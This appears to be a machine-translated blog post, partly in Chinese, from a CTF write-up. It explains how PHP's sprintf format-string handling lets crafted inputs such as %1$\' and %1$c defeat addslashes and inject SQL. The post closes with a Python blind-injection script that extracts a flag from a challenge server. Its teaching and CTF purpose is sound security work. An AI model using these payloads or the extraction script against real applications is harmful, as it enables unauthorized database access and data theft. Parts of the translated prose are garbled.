[Web] PHP sprintf format string vulnerability Vulnerability

principle

sprintf () to replace a variable passed as a parameter the percent (%) symbols:

<?php
$number = 2;
$str = "Shanghai";
$txt = sprintf("There are %u million cars in %s.",$number,$str);
echo $txt;
?>

operation result

There are 2 million cars in Shanghai.

Definition and Usage sprintf () function writes the formatted string variable.

arg1, arg2, ++ parameters will be inserted into the main string percent sign (%) at the symbol. This function is performed gradually. % At the first symbol, inserted arg1,% in the second symbol, the insertion arg2, and so on.

Note: If the% symbol than arg parameter, you must use placeholders. After the symbols located placeholders% by number and "\ $" component.

<?php
$number = 123;
$txt = sprintf("带有两位小数:%1\$.2f
<br>不带小数:%1\$u",$number);
echo $txt;
?>

result:

带有两位小数:123.00
不带小数:123

 

Vulnerability Analysis

Then take a look sprintf () method of the underlying implementation

switch (format[inpos]) {
case 's':
    {
        zend_string * t;
        zend_string * str = zval_get_tmp_string(tmp, &t);
        php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
        zend_tmp_string_release(t);
        break;
    }
case 'd':
    php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
    break;
case 'u':
    php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
    break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
    php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
    break;
case 'c':
    php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
    break;
case 'o':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
    break;
case 'x':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
    break;
case 'X':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
    break;
case 'b':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
    break;
case '%':
    php_sprintf_appendchar( & result, &outpos, '%');
    break;
default:
    break;
}

We can see, php source code only for 15 types do match, the other character types have a direct break, php without making any deal, skip, resulting in the problem: If we enter , or he will backslash bar as a type of formatting characters, but no matching entry then , it because without any treatment and is replaced by air ."%\""%1$\""%\""%1$\"

 

 

 

 

So the principle is injected sprintf

We use 15 types other than a  place of character type format function allows replacement is empty, the "% 1 $ \ '' will be able to follow an apostrophe in front of the closed single quotes, here are some examples to help us better understand"\"

Without placeholders

<?php

$sql="select * from user where username='%\' and 1=1 #';";
$user='admin';
echo sprintf($sql,$user);

?>

operation result:

select * from user where username='' and 1=1 #';

Note: username = '' single quotes are not here two double quotes

With placeholders

Is output without a look at the:

 

 

and 1=1#
AND b='and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='and 1=1#'

Be bypassed:

<?php
//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
echo  $sql ;
?>

For $ input and $ b has been stitching

$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );

Obviously, inside this sentence \is addsashes to escape single quotes and coupled using the% s %1$\class matches admin, admin will then appear in% s, %1$\empty the output

%1$\' and 1=1#
AND b='%1$\' and 1=1#'
SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

 

 

For this problem, we can also write

$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');

result:

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

The first match at a blank formatted, formatted to match the latter will

 

以上两个例子是吃掉'\'来使得单引号逃逸出来

下面这个例子我们构造单引号

<?php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
echo($sql."<br>");
$sql = sprintf ( $sql , $input2 );
echo  $sql ;

结果:

SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s
SELECT * FROM foo WHERE bar IN (' ') OR 1 = 1 /* ') AND baz = 39

%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。

所以结果为:

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

实战

进行fuzz时 ,当输入%时爆sprintf()错误

 

 

于是构造 username=admin%1$' and 1=2#  username=admin%1$' and 1=1# 于是写下脚本:

# _*_ coding : utf-8 _*_
import requests
import re
import urllib2


headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
}

dbname = ""
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
url = "http://00eec0b6e68b4332b078c559e3fee6307720121e6aaf49e4.changame.ichunqiu.com/"
for m in range(30,50):
   for i in range(32, 126):
       s = "%1$' or ascii(substr((select flag from flag),"+str(m)+",1))="+str(i)+"#"
       # str1 = urllib2.quote(s)
       str1 = s
       data={'username' : str1, 'password' : '12313'}
       # print str1
       # print urllib2.unquote(str1)
       req = requests.post(url=url, data=data,headers=headers)
       # print req.text
       # print req.text
       result = re.findall('password error', req.content)
       if result:
           dbname = dbname + chr(i)
           print dbname
           print chr(i)

 

发布了33 篇原创文章 · 获赞 2 · 访问量 1427

Guess you like

Origin blog.csdn.net/qq_34965596/article/details/103522804